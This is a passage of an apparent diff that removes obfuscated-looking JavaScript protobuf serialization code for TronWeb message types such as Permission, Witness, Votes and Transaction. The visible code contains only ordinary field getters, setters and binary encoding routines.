- _0x4ac907.setType(_0x1a8c71);
- break;
- case 2:
- _0x1a8c71 = _0x53d34b.readInt32();
- _0x4ac907.setId(_0x1a8c71);
- break;
- case 3:
- _0x1a8c71 = _0x53d34b.readString();
- _0x4ac907.setPermissionName(_0x1a8c71);
- break;
- case 4:
- _0x1a8c71 = _0x53d34b.readInt64();
- _0x4ac907.setThreshold(_0x1a8c71);
- break;
- case 5:
- _0x1a8c71 = _0x53d34b.readInt32();
- _0x4ac907.setParentId(_0x1a8c71);
- break;
- case 6:
- _0x1a8c71 = _0x53d34b.readBytes();
- _0x4ac907.setOperations(_0x1a8c71);
- break;
- case 7:
- _0x1a8c71 = new TronWebProto.Key();
- _0x53d34b.readMessage(_0x1a8c71, TronWebProto.Key.deserializeBinaryFromReader);
- _0x4ac907.addKeys(_0x1a8c71);
- break;
- default:
- _0x53d34b.skipField();
- }
- }
- return _0x4ac907;
- };
- TronWebProto.Permission.prototype.serializeBinary = function () {
- var _0x17c09e = new _0x5b4e64.BinaryWriter();
- TronWebProto.Permission.serializeBinaryToWriter(this, _0x17c09e);
- return _0x17c09e.getResultBuffer();
- };
- TronWebProto.Permission.serializeBinaryToWriter = function (_0x4d3275, _0x114ac6) {
- var _0x5da51a = undefined;
- 0 !== (_0x5da51a = _0x4d3275.getType()) && _0x114ac6.writeEnum(1, _0x5da51a);
- 0 !== (_0x5da51a = _0x4d3275.getId()) && _0x114ac6.writeInt32(2, _0x5da51a);
- (_0x5da51a = _0x4d3275.getPermissionName()).length > 0 && _0x114ac6.writeString(3, _0x5da51a);
- 0 !== (_0x5da51a = _0x4d3275.getThreshold()) && _0x114ac6.writeInt64(4, _0x5da51a);
- 0 !== (_0x5da51a = _0x4d3275.getParentId()) && _0x114ac6.writeInt32(5, _0x5da51a);
- (_0x5da51a = _0x4d3275.getOperations_asU8()).length > 0 && _0x114ac6.writeBytes(6, _0x5da51a);
- (_0x5da51a = _0x4d3275.getKeysList()).length > 0 && _0x114ac6.writeRepeatedMessage(7, _0x5da51a, TronWebProto.Key.serializeBinaryToWriter);
- };
- TronWebProto.Permission.PermissionType = {
- OWNER: 0,
- WITNESS: 1,
- ACTIVE: 2
- };
- TronWebProto.Permission.prototype.getType = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.Permission.prototype.setType = function (_0x176210) {
- return _0x5b4e64.Message.setProto3EnumField(this, 1, _0x176210);
- };
- TronWebProto.Permission.prototype.getId = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.Permission.prototype.setId = function (_0x1110a7) {
- return _0x5b4e64.Message.setProto3IntField(this, 2, _0x1110a7);
- };
- TronWebProto.Permission.prototype.getPermissionName = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.Permission.prototype.setPermissionName = function (_0x5a3f11) {
- return _0x5b4e64.Message.setProto3StringField(this, 3, _0x5a3f11);
- };
- TronWebProto.Permission.prototype.getThreshold = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.Permission.prototype.setThreshold = function (_0x3c2a87) {
- return _0x5b4e64.Message.setProto3IntField(this, 4, _0x3c2a87);
- };
- TronWebProto.Permission.prototype.getParentId = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 5, 0);
- };
- TronWebProto.Permission.prototype.setParentId = function (_0x17c076) {
- return _0x5b4e64.Message.setProto3IntField(this, 5, _0x17c076);
- };
- TronWebProto.Permission.prototype.getOperations = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 6, "");
- };
- TronWebProto.Permission.prototype.getOperations_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getOperations());
- };
- TronWebProto.Permission.prototype.getOperations_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getOperations());
- };
- TronWebProto.Permission.prototype.setOperations = function (_0x3bd6a9) {
- return _0x5b4e64.Message.setProto3BytesField(this, 6, _0x3bd6a9);
- };
- TronWebProto.Permission.prototype.getKeysList = function () {
- return _0x5b4e64.Message.getRepeatedWrapperField(this, TronWebProto.Key, 7);
- };
- TronWebProto.Permission.prototype.setKeysList = function (_0xc41ad6) {
- return _0x5b4e64.Message.setRepeatedWrapperField(this, 7, _0xc41ad6);
- };
- TronWebProto.Permission.prototype.addKeys = function (_0x5342a5, _0x194293) {
- return _0x5b4e64.Message.addToRepeatedWrapperField(this, 7, _0x5342a5, TronWebProto.Key, _0x194293);
- };
- TronWebProto.Permission.prototype.clearKeysList = function () {
- return this.setKeysList([]);
- };
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Witness.prototype.toObject = function (_0x2c45bf) {
- return TronWebProto.Witness.toObject(_0x2c45bf, this);
- }, TronWebProto.Witness.toObject = function (_0x44d348, _0x1622c9) {
- var _0xc2a33b = {
- address: _0x1622c9.getAddress_asB64(),
- votecount: _0x5b4e64.Message.getFieldWithDefault(_0x1622c9, 2, 0),
- pubkey: _0x1622c9.getPubkey_asB64(),
- url: _0x5b4e64.Message.getFieldWithDefault(_0x1622c9, 4, ""),
- totalproduced: _0x5b4e64.Message.getFieldWithDefault(_0x1622c9, 5, 0),
- totalmissed: _0x5b4e64.Message.getFieldWithDefault(_0x1622c9, 6, 0),
- latestblocknum: _0x5b4e64.Message.getFieldWithDefault(_0x1622c9, 7, 0),
- latestslotnum: _0x5b4e64.Message.getFieldWithDefault(_0x1622c9, 8, 0),
- isjobs: _0x5b4e64.Message.getBooleanFieldWithDefault(_0x1622c9, 9, false)
- };
- _0x44d348 && (_0xc2a33b.$jspbMessageInstance = _0x1622c9);
- return _0xc2a33b;
- });
- TronWebProto.Witness.deserializeBinary = function (_0x424081) {
- var _0x37412c = new _0x5b4e64.BinaryReader(_0x424081);
- var _0x401a2c = new TronWebProto.Witness();
- return TronWebProto.Witness.deserializeBinaryFromReader(_0x401a2c, _0x37412c);
- };
- TronWebProto.Witness.deserializeBinaryFromReader = function (_0x507d98, _0x5e6963) {
- for (; _0x5e6963.nextField() && !_0x5e6963.isEndGroup();) {
- switch (_0x5e6963.getFieldNumber()) {
- case 1:
- var _0xfcb7e4 = _0x5e6963.readBytes();
- _0x507d98.setAddress(_0xfcb7e4);
- break;
- case 2:
- _0xfcb7e4 = _0x5e6963.readInt64();
- _0x507d98.setVotecount(_0xfcb7e4);
- break;
- case 3:
- _0xfcb7e4 = _0x5e6963.readBytes();
- _0x507d98.setPubkey(_0xfcb7e4);
- break;
- case 4:
- _0xfcb7e4 = _0x5e6963.readString();
- _0x507d98.setUrl(_0xfcb7e4);
- break;
- case 5:
- _0xfcb7e4 = _0x5e6963.readInt64();
- _0x507d98.setTotalproduced(_0xfcb7e4);
- break;
- case 6:
- _0xfcb7e4 = _0x5e6963.readInt64();
- _0x507d98.setTotalmissed(_0xfcb7e4);
- break;
- case 7:
- _0xfcb7e4 = _0x5e6963.readInt64();
- _0x507d98.setLatestblocknum(_0xfcb7e4);
- break;
- case 8:
- _0xfcb7e4 = _0x5e6963.readInt64();
- _0x507d98.setLatestslotnum(_0xfcb7e4);
- break;
- case 9:
- _0xfcb7e4 = _0x5e6963.readBool();
- _0x507d98.setIsjobs(_0xfcb7e4);
- break;
- default:
- _0x5e6963.skipField();
- }
- }
- return _0x507d98;
- };
- TronWebProto.Witness.prototype.serializeBinary = function () {
- var _0x577f32 = new _0x5b4e64.BinaryWriter();
- TronWebProto.Witness.serializeBinaryToWriter(this, _0x577f32);
- return _0x577f32.getResultBuffer();
- };
- TronWebProto.Witness.serializeBinaryToWriter = function (_0x248d38, _0x436daa) {
- var _0x9315b1 = undefined;
- (_0x9315b1 = _0x248d38.getAddress_asU8()).length > 0 && _0x436daa.writeBytes(1, _0x9315b1);
- 0 !== (_0x9315b1 = _0x248d38.getVotecount()) && _0x436daa.writeInt64(2, _0x9315b1);
- (_0x9315b1 = _0x248d38.getPubkey_asU8()).length > 0 && _0x436daa.writeBytes(3, _0x9315b1);
- (_0x9315b1 = _0x248d38.getUrl()).length > 0 && _0x436daa.writeString(4, _0x9315b1);
- 0 !== (_0x9315b1 = _0x248d38.getTotalproduced()) && _0x436daa.writeInt64(5, _0x9315b1);
- 0 !== (_0x9315b1 = _0x248d38.getTotalmissed()) && _0x436daa.writeInt64(6, _0x9315b1);
- 0 !== (_0x9315b1 = _0x248d38.getLatestblocknum()) && _0x436daa.writeInt64(7, _0x9315b1);
- 0 !== (_0x9315b1 = _0x248d38.getLatestslotnum()) && _0x436daa.writeInt64(8, _0x9315b1);
- (_0x9315b1 = _0x248d38.getIsjobs()) && _0x436daa.writeBool(9, _0x9315b1);
- };
- TronWebProto.Witness.prototype.getAddress = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.Witness.prototype.getAddress_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getAddress());
- };
- TronWebProto.Witness.prototype.getAddress_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getAddress());
- };
- TronWebProto.Witness.prototype.setAddress = function (_0x4542f3) {
- return _0x5b4e64.Message.setProto3BytesField(this, 1, _0x4542f3);
- };
- TronWebProto.Witness.prototype.getVotecount = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.Witness.prototype.setVotecount = function (_0x48f3c0) {
- return _0x5b4e64.Message.setProto3IntField(this, 2, _0x48f3c0);
- };
- TronWebProto.Witness.prototype.getPubkey = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.Witness.prototype.getPubkey_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getPubkey());
- };
- TronWebProto.Witness.prototype.getPubkey_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getPubkey());
- };
- TronWebProto.Witness.prototype.setPubkey = function (_0xd761d9) {
- return _0x5b4e64.Message.setProto3BytesField(this, 3, _0xd761d9);
- };
- TronWebProto.Witness.prototype.getUrl = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 4, "");
- };
- TronWebProto.Witness.prototype.setUrl = function (_0x3bba8a) {
- return _0x5b4e64.Message.setProto3StringField(this, 4, _0x3bba8a);
- };
- TronWebProto.Witness.prototype.getTotalproduced = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 5, 0);
- };
- TronWebProto.Witness.prototype.setTotalproduced = function (_0x2570d0) {
- return _0x5b4e64.Message.setProto3IntField(this, 5, _0x2570d0);
- };
- TronWebProto.Witness.prototype.getTotalmissed = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 6, 0);
- };
- TronWebProto.Witness.prototype.setTotalmissed = function (_0x3e1437) {
- return _0x5b4e64.Message.setProto3IntField(this, 6, _0x3e1437);
- };
- TronWebProto.Witness.prototype.getLatestblocknum = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 7, 0);
- };
- TronWebProto.Witness.prototype.setLatestblocknum = function (_0x1daa57) {
- return _0x5b4e64.Message.setProto3IntField(this, 7, _0x1daa57);
- };
- TronWebProto.Witness.prototype.getLatestslotnum = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 8, 0);
- };
- TronWebProto.Witness.prototype.setLatestslotnum = function (_0x2c202a) {
- return _0x5b4e64.Message.setProto3IntField(this, 8, _0x2c202a);
- };
- TronWebProto.Witness.prototype.getIsjobs = function () {
- return _0x5b4e64.Message.getBooleanFieldWithDefault(this, 9, false);
- };
- TronWebProto.Witness.prototype.setIsjobs = function (_0x5ec411) {
- return _0x5b4e64.Message.setProto3BooleanField(this, 9, _0x5ec411);
- };
- TronWebProto.Votes.repeatedFields_ = [2, 3];
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Votes.prototype.toObject = function (_0x1c8180) {
- return TronWebProto.Votes.toObject(_0x1c8180, this);
- }, TronWebProto.Votes.toObject = function (_0x571597, _0x2c618c) {
- var _0x2bc41a = {
- address: _0x2c618c.getAddress_asB64(),
- oldVotesList: _0x5b4e64.Message.toObjectList(_0x2c618c.getOldVotesList(), TronWebProto.Vote.toObject, _0x571597),
- newVotesList: _0x5b4e64.Message.toObjectList(_0x2c618c.getNewVotesList(), TronWebProto.Vote.toObject, _0x571597)
- };
- _0x571597 && (_0x2bc41a.$jspbMessageInstance = _0x2c618c);
- return _0x2bc41a;
- });
- TronWebProto.Votes.deserializeBinary = function (_0x46c71c) {
- var _0x169699 = new _0x5b4e64.BinaryReader(_0x46c71c);
- var _0x13f735 = new TronWebProto.Votes();
- return TronWebProto.Votes.deserializeBinaryFromReader(_0x13f735, _0x169699);
- };
- TronWebProto.Votes.deserializeBinaryFromReader = function (_0x1b174, _0x2061ca) {
- for (; _0x2061ca.nextField() && !_0x2061ca.isEndGroup();) {
- switch (_0x2061ca.getFieldNumber()) {
- case 1:
- var _0x7c0c3b = _0x2061ca.readBytes();
- _0x1b174.setAddress(_0x7c0c3b);
- break;
- case 2:
- _0x7c0c3b = new TronWebProto.Vote();
- _0x2061ca.readMessage(_0x7c0c3b, TronWebProto.Vote.deserializeBinaryFromReader);
- _0x1b174.addOldVotes(_0x7c0c3b);
- break;
- case 3:
- _0x7c0c3b = new TronWebProto.Vote();
- _0x2061ca.readMessage(_0x7c0c3b, TronWebProto.Vote.deserializeBinaryFromReader);
- _0x1b174.addNewVotes(_0x7c0c3b);
- break;
- default:
- _0x2061ca.skipField();
- }
- }
- return _0x1b174;
- };
- TronWebProto.Votes.prototype.serializeBinary = function () {
- var _0x1b7856 = new _0x5b4e64.BinaryWriter();
- TronWebProto.Votes.serializeBinaryToWriter(this, _0x1b7856);
- return _0x1b7856.getResultBuffer();
- };
- TronWebProto.Votes.serializeBinaryToWriter = function (_0x5ac581, _0x4a55cf) {
- var _0x29fb89 = undefined;
- (_0x29fb89 = _0x5ac581.getAddress_asU8()).length > 0 && _0x4a55cf.writeBytes(1, _0x29fb89);
- (_0x29fb89 = _0x5ac581.getOldVotesList()).length > 0 && _0x4a55cf.writeRepeatedMessage(2, _0x29fb89, TronWebProto.Vote.serializeBinaryToWriter);
- (_0x29fb89 = _0x5ac581.getNewVotesList()).length > 0 && _0x4a55cf.writeRepeatedMessage(3, _0x29fb89, TronWebProto.Vote.serializeBinaryToWriter);
- };
- TronWebProto.Votes.prototype.getAddress = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.Votes.prototype.getAddress_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getAddress());
- };
- TronWebProto.Votes.prototype.getAddress_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getAddress());
- };
- TronWebProto.Votes.prototype.setAddress = function (_0x3cc805) {
- return _0x5b4e64.Message.setProto3BytesField(this, 1, _0x3cc805);
- };
- TronWebProto.Votes.prototype.getOldVotesList = function () {
- return _0x5b4e64.Message.getRepeatedWrapperField(this, TronWebProto.Vote, 2);
- };
- TronWebProto.Votes.prototype.setOldVotesList = function (_0x135ac1) {
- return _0x5b4e64.Message.setRepeatedWrapperField(this, 2, _0x135ac1);
- };
- TronWebProto.Votes.prototype.addOldVotes = function (_0xf31991, _0xb7f4e9) {
- return _0x5b4e64.Message.addToRepeatedWrapperField(this, 2, _0xf31991, TronWebProto.Vote, _0xb7f4e9);
- };
- TronWebProto.Votes.prototype.clearOldVotesList = function () {
- return this.setOldVotesList([]);
- };
- TronWebProto.Votes.prototype.getNewVotesList = function () {
- return _0x5b4e64.Message.getRepeatedWrapperField(this, TronWebProto.Vote, 3);
- };
- TronWebProto.Votes.prototype.setNewVotesList = function (_0x496b7a) {
- return _0x5b4e64.Message.setRepeatedWrapperField(this, 3, _0x496b7a);
- };
- TronWebProto.Votes.prototype.addNewVotes = function (_0x2e6e7c, _0x4b4539) {
- return _0x5b4e64.Message.addToRepeatedWrapperField(this, 3, _0x2e6e7c, TronWebProto.Vote, _0x4b4539);
- };
- TronWebProto.Votes.prototype.clearNewVotesList = function () {
- return this.setNewVotesList([]);
- };
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.MarketOrderDetail.prototype.toObject = function (_0x52bd39) {
- return TronWebProto.MarketOrderDetail.toObject(_0x52bd39, this);
- }, TronWebProto.MarketOrderDetail.toObject = function (_0x72376c, _0x3d823d) {
- var _0x3f6747 = {
- makerorderid: _0x3d823d.getMakerorderid_asB64(),
- takerorderid: _0x3d823d.getTakerorderid_asB64(),
- fillsellquantity: _0x5b4e64.Message.getFieldWithDefault(_0x3d823d, 3, 0),
- fillbuyquantity: _0x5b4e64.Message.getFieldWithDefault(_0x3d823d, 4, 0)
- };
- _0x72376c && (_0x3f6747.$jspbMessageInstance = _0x3d823d);
- return _0x3f6747;
- });
- TronWebProto.MarketOrderDetail.deserializeBinary = function (_0x292ea9) {
- var _0x55ea64 = new _0x5b4e64.BinaryReader(_0x292ea9);
- var _0x642ab7 = new TronWebProto.MarketOrderDetail();
- return TronWebProto.MarketOrderDetail.deserializeBinaryFromReader(_0x642ab7, _0x55ea64);
- };
- TronWebProto.MarketOrderDetail.deserializeBinaryFromReader = function (_0x5dee57, _0x2dfbe4) {
- for (; _0x2dfbe4.nextField() && !_0x2dfbe4.isEndGroup();) {
- switch (_0x2dfbe4.getFieldNumber()) {
- case 1:
- var _0x383bb4 = _0x2dfbe4.readBytes();
- _0x5dee57.setMakerorderid(_0x383bb4);
- break;
- case 2:
- _0x383bb4 = _0x2dfbe4.readBytes();
- _0x5dee57.setTakerorderid(_0x383bb4);
- break;
- case 3:
- _0x383bb4 = _0x2dfbe4.readInt64();
- _0x5dee57.setFillsellquantity(_0x383bb4);
- break;
- case 4:
- _0x383bb4 = _0x2dfbe4.readInt64();
- _0x5dee57.setFillbuyquantity(_0x383bb4);
- break;
- default:
- _0x2dfbe4.skipField();
- }
- }
- return _0x5dee57;
- };
- TronWebProto.MarketOrderDetail.prototype.serializeBinary = function () {
- var _0x349599 = new _0x5b4e64.BinaryWriter();
- TronWebProto.MarketOrderDetail.serializeBinaryToWriter(this, _0x349599);
- return _0x349599.getResultBuffer();
- };
- TronWebProto.MarketOrderDetail.serializeBinaryToWriter = function (_0x1723f6, _0x1933cb) {
- var _0xf992ed = undefined;
- (_0xf992ed = _0x1723f6.getMakerorderid_asU8()).length > 0 && _0x1933cb.writeBytes(1, _0xf992ed);
- (_0xf992ed = _0x1723f6.getTakerorderid_asU8()).length > 0 && _0x1933cb.writeBytes(2, _0xf992ed);
- 0 !== (_0xf992ed = _0x1723f6.getFillsellquantity()) && _0x1933cb.writeInt64(3, _0xf992ed);
- 0 !== (_0xf992ed = _0x1723f6.getFillbuyquantity()) && _0x1933cb.writeInt64(4, _0xf992ed);
- };
- TronWebProto.MarketOrderDetail.prototype.getMakerorderid = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.MarketOrderDetail.prototype.getMakerorderid_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getMakerorderid());
- };
- TronWebProto.MarketOrderDetail.prototype.getMakerorderid_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getMakerorderid());
- };
- TronWebProto.MarketOrderDetail.prototype.setMakerorderid = function (_0x285d88) {
- return _0x5b4e64.Message.setProto3BytesField(this, 1, _0x285d88);
- };
- TronWebProto.MarketOrderDetail.prototype.getTakerorderid = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.MarketOrderDetail.prototype.getTakerorderid_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getTakerorderid());
- };
- TronWebProto.MarketOrderDetail.prototype.getTakerorderid_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getTakerorderid());
- };
- TronWebProto.MarketOrderDetail.prototype.setTakerorderid = function (_0x310746) {
- return _0x5b4e64.Message.setProto3BytesField(this, 2, _0x310746);
- };
- TronWebProto.MarketOrderDetail.prototype.getFillsellquantity = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.MarketOrderDetail.prototype.setFillsellquantity = function (_0x4b6b9d) {
- return _0x5b4e64.Message.setProto3IntField(this, 3, _0x4b6b9d);
- };
- TronWebProto.MarketOrderDetail.prototype.getFillbuyquantity = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.MarketOrderDetail.prototype.setFillbuyquantity = function (_0xa19296) {
- return _0x5b4e64.Message.setProto3IntField(this, 4, _0xa19296);
- };
- TronWebProto.Transaction.repeatedFields_ = [2, 5];
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Transaction.prototype.toObject = function (_0x241304) {
- return TronWebProto.Transaction.toObject(_0x241304, this);
- }, TronWebProto.Transaction.toObject = function (_0x12ed03, _0x30b9aa) {
- var _0x29eb96;
- var _0x3fa58e = {
- rawData: (_0x29eb96 = _0x30b9aa.getRawData()) && TronWebProto.Transaction.raw.toObject(_0x12ed03, _0x29eb96),
- signatureList: _0x30b9aa.getSignatureList_asB64(),
- retList: _0x5b4e64.Message.toObjectList(_0x30b9aa.getRetList(), TronWebProto.Transaction.Result.toObject, _0x12ed03)
- };
- _0x12ed03 && (_0x3fa58e.$jspbMessageInstance = _0x30b9aa);
- return _0x3fa58e;
- });
- TronWebProto.Transaction.deserializeBinary = function (_0x43a8c4) {
- var _0x265ab1 = new _0x5b4e64.BinaryReader(_0x43a8c4);
- var _0x15d9c1 = new TronWebProto.Transaction();
- return TronWebProto.Transaction.deserializeBinaryFromReader(_0x15d9c1, _0x265ab1);
- };
- TronWebProto.Transaction.deserializeBinaryFromReader = function (_0x367150, _0x44c000) {
- for (; _0x44c000.nextField() && !_0x44c000.isEndGroup();) {
- switch (_0x44c000.getFieldNumber()) {
- case 1:
- var _0x44b64b = new TronWebProto.Transaction.raw();
- _0x44c000.readMessage(_0x44b64b, TronWebProto.Transaction.raw.deserializeBinaryFromReader);
- _0x367150.setRawData(_0x44b64b);
- break;
- case 2:
- _0x44b64b = _0x44c000.readBytes();
- _0x367150.addSignature(_0x44b64b);
- break;
- case 5:
- _0x44b64b = new TronWebProto.Transaction.Result();
- _0x44c000.readMessage(_0x44b64b, TronWebProto.Transaction.Result.deserializeBinaryFromReader);
- _0x367150.addRet(_0x44b64b);
- break;
- default:
- _0x44c000.skipField();
- }
- }
- return _0x367150;
- };
- TronWebProto.Transaction.prototype.serializeBinary = function () {
- var _0x6aa78c = new _0x5b4e64.BinaryWriter();
- TronWebProto.Transaction.serializeBinaryToWriter(this, _0x6aa78c);
- return _0x6aa78c.getResultBuffer();
- };
- TronWebProto.Transaction.serializeBinaryToWriter = function (_0xb6f3d7, _0x2bee38) {
- var _0x5eb192 = undefined;
- null != (_0x5eb192 = _0xb6f3d7.getRawData()) && _0x2bee38.writeMessage(1, _0x5eb192, TronWebProto.Transaction.raw.serializeBinaryToWriter);
- (_0x5eb192 = _0xb6f3d7.getSignatureList_asU8()).length > 0 && _0x2bee38.writeRepeatedBytes(2, _0x5eb192);
- (_0x5eb192 = _0xb6f3d7.getRetList()).length > 0 && _0x2bee38.writeRepeatedMessage(5, _0x5eb192, TronWebProto.Transaction.Result.serializeBinaryToWriter);
- };
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Transaction.Contract.prototype.toObject = function (_0x37b297) {
- return TronWebProto.Transaction.Contract.toObject(_0x37b297, this);
- }, TronWebProto.Transaction.Contract.toObject = function (_0x3608c9, _0x12611f) {
- var _0x433fd3;
- var _0x131841 = {
- type: _0x5b4e64.Message.getFieldWithDefault(_0x12611f, 1, 0),
- parameter: (_0x433fd3 = _0x12611f.getParameter()) && _0x16aa6f.Any.toObject(_0x3608c9, _0x433fd3),
- provider: _0x12611f.getProvider_asB64(),
- contractname: _0x12611f.getContractname_asB64(),
- permissionId: _0x5b4e64.Message.getFieldWithDefault(_0x12611f, 5, 0)
- };
- _0x3608c9 && (_0x131841.$jspbMessageInstance = _0x12611f);
- return _0x131841;
- });
- TronWebProto.Transaction.Contract.deserializeBinary = function (_0x5504f4) {
- var _0x1bd9cd = new _0x5b4e64.BinaryReader(_0x5504f4);
- var _0x3ee41b = new TronWebProto.Transaction.Contract();
- return TronWebProto.Transaction.Contract.deserializeBinaryFromReader(_0x3ee41b, _0x1bd9cd);
- };
- TronWebProto.Transaction.Contract.deserializeBinaryFromReader = function (_0x547337, _0x34d93f) {
- for (; _0x34d93f.nextField() && !_0x34d93f.isEndGroup();) {
- switch (_0x34d93f.getFieldNumber()) {
- case 1:
- var _0x819a9b = _0x34d93f.readEnum();
- _0x547337.setType(_0x819a9b);
- break;
- case 2:
- _0x819a9b = new _0x16aa6f.Any();
- _0x34d93f.readMessage(_0x819a9b, _0x16aa6f.Any.deserializeBinaryFromReader);
- _0x547337.setParameter(_0x819a9b);
- break;
- case 3:
- _0x819a9b = _0x34d93f.readBytes();
- _0x547337.setProvider(_0x819a9b);
- break;
- case 4:
- _0x819a9b = _0x34d93f.readBytes();
- _0x547337.setContractname(_0x819a9b);
- break;
- case 5:
- _0x819a9b = _0x34d93f.readInt32();
- _0x547337.setPermissionId(_0x819a9b);
- break;
- default:
- _0x34d93f.skipField();
- }
- }
- return _0x547337;
- };
- TronWebProto.Transaction.Contract.prototype.serializeBinary = function () {
- var _0x5b23c8 = new _0x5b4e64.BinaryWriter();
- TronWebProto.Transaction.Contract.serializeBinaryToWriter(this, _0x5b23c8);
- return _0x5b23c8.getResultBuffer();
- };
- TronWebProto.Transaction.Contract.serializeBinaryToWriter = function (_0x1f0a99, _0x23d897) {
- var _0x4c2984 = undefined;
- 0 !== (_0x4c2984 = _0x1f0a99.getType()) && _0x23d897.writeEnum(1, _0x4c2984);
- null != (_0x4c2984 = _0x1f0a99.getParameter()) && _0x23d897.writeMessage(2, _0x4c2984, _0x16aa6f.Any.serializeBinaryToWriter);
- (_0x4c2984 = _0x1f0a99.getProvider_asU8()).length > 0 && _0x23d897.writeBytes(3, _0x4c2984);
- (_0x4c2984 = _0x1f0a99.getContractname_asU8()).length > 0 && _0x23d897.writeBytes(4, _0x4c2984);
- 0 !== (_0x4c2984 = _0x1f0a99.getPermissionId()) && _0x23d897.writeInt32(5, _0x4c2984);
- };
- TronWebProto.Transaction.Contract.ContractType = {
- ACCOUNTCREATECONTRACT: 0,
- TRANSFERCONTRACT: 1,
- TRANSFERASSETCONTRACT: 2,
- VOTEASSETCONTRACT: 3,
- VOTEWITNESSCONTRACT: 4,
- WITNESSCREATECONTRACT: 5,
- ASSETISSUECONTRACT: 6,
- WITNESSUPDATECONTRACT: 8,
- PARTICIPATEASSETISSUECONTRACT: 9,
- ACCOUNTUPDATECONTRACT: 10,
- FREEZEBALANCECONTRACT: 11,
- UNFREEZEBALANCECONTRACT: 12,
- WITHDRAWBALANCECONTRACT: 13,
- UNFREEZEASSETCONTRACT: 14,
- UPDATEASSETCONTRACT: 15,
- PROPOSALCREATECONTRACT: 16,
- PROPOSALAPPROVECONTRACT: 17,
- PROPOSALDELETECONTRACT: 18,
- SETACCOUNTIDCONTRACT: 19,
- CUSTOMCONTRACT: 20,
- CREATESMARTCONTRACT: 30,
- TRIGGERSMARTCONTRACT: 31,
- GETCONTRACT: 32,
- UPDATESETTINGCONTRACT: 33,
- EXCHANGECREATECONTRACT: 41,
- EXCHANGEINJECTCONTRACT: 42,
- EXCHANGEWITHDRAWCONTRACT: 43,
- EXCHANGETRANSACTIONCONTRACT: 44,
- UPDATEENERGYLIMITCONTRACT: 45,
- ACCOUNTPERMISSIONUPDATECONTRACT: 46,
- CLEARABICONTRACT: 48,
- UPDATEBROKERAGECONTRACT: 49,
- SHIELDEDTRANSFERCONTRACT: 51,
- MARKETSELLASSETCONTRACT: 52,
- MARKETCANCELORDERCONTRACT: 53,
- FREEZEBALANCEV2CONTRACT: 54,
- UNFREEZEBALANCEV2CONTRACT: 55,
- WITHDRAWEXPIREUNFREEZECONTRACT: 56,
- DELEGATERESOURCECONTRACT: 57,
- UNDELEGATERESOURCECONTRACT: 58,
- CANCELALLUNFREEZEV2CONTRACT: 59
- };
- TronWebProto.Transaction.Contract.prototype.getType = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.Transaction.Contract.prototype.setType = function (_0x2ee300) {
- return _0x5b4e64.Message.setProto3EnumField(this, 1, _0x2ee300);
- };
- TronWebProto.Transaction.Contract.prototype.getParameter = function () {
- return _0x5b4e64.Message.getWrapperField(this, _0x16aa6f.Any, 2);
- };
- TronWebProto.Transaction.Contract.prototype.setParameter = function (_0x202a54) {
- return _0x5b4e64.Message.setWrapperField(this, 2, _0x202a54);
- };
- TronWebProto.Transaction.Contract.prototype.clearParameter = function () {
- return this.setParameter(undefined);
- };
- TronWebProto.Transaction.Contract.prototype.hasParameter = function () {
- return null != _0x5b4e64.Message.getField(this, 2);
- };
- TronWebProto.Transaction.Contract.prototype.getProvider = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.Transaction.Contract.prototype.getProvider_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getProvider());
- };
- TronWebProto.Transaction.Contract.prototype.getProvider_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getProvider());
- };
- TronWebProto.Transaction.Contract.prototype.setProvider = function (_0x1abaaf) {
- return _0x5b4e64.Message.setProto3BytesField(this, 3, _0x1abaaf);
- };
- TronWebProto.Transaction.Contract.prototype.getContractname = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 4, "");
- };
- TronWebProto.Transaction.Contract.prototype.getContractname_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getContractname());
- };
